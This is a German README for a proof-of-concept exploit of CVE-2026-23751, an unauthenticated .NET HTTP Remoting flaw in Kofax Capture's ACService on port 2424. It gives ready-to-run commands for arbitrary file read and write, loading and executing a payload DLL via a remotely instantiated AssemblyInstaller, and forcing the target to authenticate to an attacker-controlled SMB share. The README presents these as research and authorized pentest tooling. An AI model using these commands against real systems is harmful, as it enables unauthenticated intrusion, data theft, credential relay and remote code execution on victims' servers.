
RemotingClient gepatcht, um CVE-2026-23751 auszunutzen (Tungsten Automation – Kofax Capture nicht authentifiziertes Lesen/Schreiben von Dateien, Remote-Code-Ausführung und SMB-Coercion über .NET HTTP Remoting)
Proof-of-Concept-Implementierung der .NET HTTP Remoting-Technik, die in Code Whites NewRemotingTricks beschrieben wird, mit Ziel auf Tungsten Automation Kofax Capture.
Titel: Tungsten Automation Kofax Capture Unauthenticated File Read/Write and Command Execution via .NET HTTP Remoting
CVE: CVE-2026-23751
Autoren dieses PoC (nicht der CVE): Filip Sanders, Siebren Kraak
CVE-2026-23751 betrifft Tungsten Automation Kofax Capture und ermöglicht es einem nicht authentifizierten Remote-Angreifer, mit einem .NET HTTP Remoting-Endpunkt zu interagieren, der vom Kofax Capture ACService bereitgestellt wird.
Die Schwachstelle kann missbraucht werden, um Operationen im Sicherheitskontext des Kofax Capture-Dienstes durchzuführen, darunter:
Der PoC implementiert die relevante .NET Remoting-Technik aus Code Whites Projekt NewRemotingTricks neu.
Der PoC zielt auf den Kofax Capture ACService HTTP Remoting-Endpunkt:
http://<target>:2424/ACService
Port 2424 ist der Standard-HTTP-Remoting-Port, der vom betroffenen Dienst verwendet wird.
Das PoC unterstützt drei Operationen:
read
write
exec
Die allgemeine Syntax lautet:
RemotingClient_MBRO_Lazy.exe <operation> <object-url> <file-url> [content]
Das folgende Beispiel liest die Windows-Hosts-Datei vom Ziel:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\Windows\System32\drivers\etc\hosts
Eine Kofax Capture-Konfigurationsdatei kann auf ähnliche Weise gelesen werden:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\ProgramData\Kofax\Remoting\Client\Configuration\ConfigInfo.xml
Remote-Ressourcen können auch über einen file://-URI aufgerufen werden:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
Der vom entfernten WebClient zurückgegebene Inhalt wird auf die Standardausgabe geschrieben.
Eine Datei kann an einen für den Kofax Capture-Dienst zugänglichen Speicherort geschrieben werden, indem der Zielpfad gefolgt vom Inhalt angegeben wird:
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService C:\Windows\Temp\test.txt HelloWorld
Der bereitgestellte Inhalt wird als UTF-8 kodiert und über den remote instanziierten WebClient hochgeladen.
Dieselbe Funktionalität kann mit einem UNC-Pfad genutzt werden, um in eine entfernte SMB-Freigabe zu schreiben:
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService \\<remote_host>\share\file.txt HelloWorld
Die Möglichkeit, auf die entfernte Ressource zuzugreifen, hängt von den Berechtigungen und dem Sicherheitskontext des Kofax Capture-Dienstes ab.
Die Operation read kann mit einer entfernten file://-Ressource verwendet werden, um das Ziel dazu zu veranlassen, auf eine vom Angreifer kontrollierte SMB-Ressource zuzugreifen:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
Dies kann dazu führen, dass sich der betroffene Host beim vom Angreifer kontrollierten SMB-Server authentifiziert, abhängig von der Zielumgebung und ihrer Sicherheitskonfiguration.
Die Operation exec kann verwendet werden, um eine bereitgestellte .NET-Assembly im Kontext des entfernten Kofax Capture-Dienstes auszuführen.
Die Assembly wird zunächst auf das Ziel hochgeladen und dann mithilfe eines remote instanziierten AssemblyInstaller geladen:
PS C:/> .\RemotingClient_MBRO_Lazy.exe exec http://<target>:2424/ACService C:\Windows\Temp\payload.dll
Der angegebene Pfad wird als Ziel für die hochgeladene Assembly verwendet und anschließend an den entfernten AssemblyInstaller übergeben. Die Assembly wird serverseitig geladen und über den Installationsmechanismus des .NET Framework installiert.
Nach der Ausführung liest das PoC die Ausführungsausgabe aus:
C:\Windows\Temp\pwn_out.txt
Das genaue Verhalten der Payload hängt vom Inhalt von Payload.dll ab.
Die Schwachstelle betrifft die Verwendung von .NET HTTP Remoting durch den ACService von Kofax Capture.
.NET Remoting bietet Mechanismen zur Kommunikation mit entfernten MarshalByRefObject-Instanzen. Durch die Interaktion mit dem exponierten Remoting-Endpunkt und die Manipulation des logischen Aufrufkontexts kann der PoC entfernte Instanzen von .NET Framework-Klassen erlangen, die von MarshalByRefObject erben.
Der PoC nutzt dieses Verhalten, um entfernte Instanzen von Folgendem zu erlangen:
System.Net.WebClient
System.Configuration.Install.AssemblyInstaller
Ein remote instanzierter WebClient kann dann verwendet werden, um Dateisystem- und Netzwerkoperationen aus dem Kontext des Kofax Capture-Dienstes auszuführen.
Für die Befehlsausführung lädt das PoC Payload.dll über den remote WebClient hoch, ruft einen remote AssemblyInstaller ab, setzt dessen Assembly-Pfad und ruft den Installationsmechanismus auf. Dadurch wird die bereitgestellte Assembly geladen und auf dem Ziel ausgeführt.
Das PoC demonstriert daher die folgenden Primitiven:
MarshalByRefObject-InstanzenDie write-Funktionalität arbeitet derzeit mit UTF-8-kodierten String-Daten. Zusätzliche Dateitypen und Payload-Formate können durch Änderung des Quellcodes unterstützt werden.
ACService des ZielsRemotingClient_MBRO_Lazy.exePayload.dll bei Verwendung der exec-OperationFür die Ausnutzung ist keine Authentifizierung am Kofax Capture-Dienst erforderlich.
CVE-2026-23751-poc/
├── RemotingClient_MBRO_Lazy/
│ └── RemotingClient_MBRO_Lazy.exe
├── Shared/
│ └── Shared.dll
├── Payload/
│ └── Payload.dll
└── README.md
Filip Sanders
Siebren Kraak
Dieses Repository wird ausschließlich für Zwecke der Sicherheitsforschung, Schwachstellenvalidierung und autorisierten Penetrationstests bereitgestellt.
Verwenden Sie diesen PoC nicht gegen Systeme ohne ausdrückliche Genehmigung. Die Autoren sind nicht verantwortlich für Schäden, Datenverlust, unbefugten Zugriff oder andere Folgen, die aus der missbräuchlichen Verwendung dieser Software entstehen.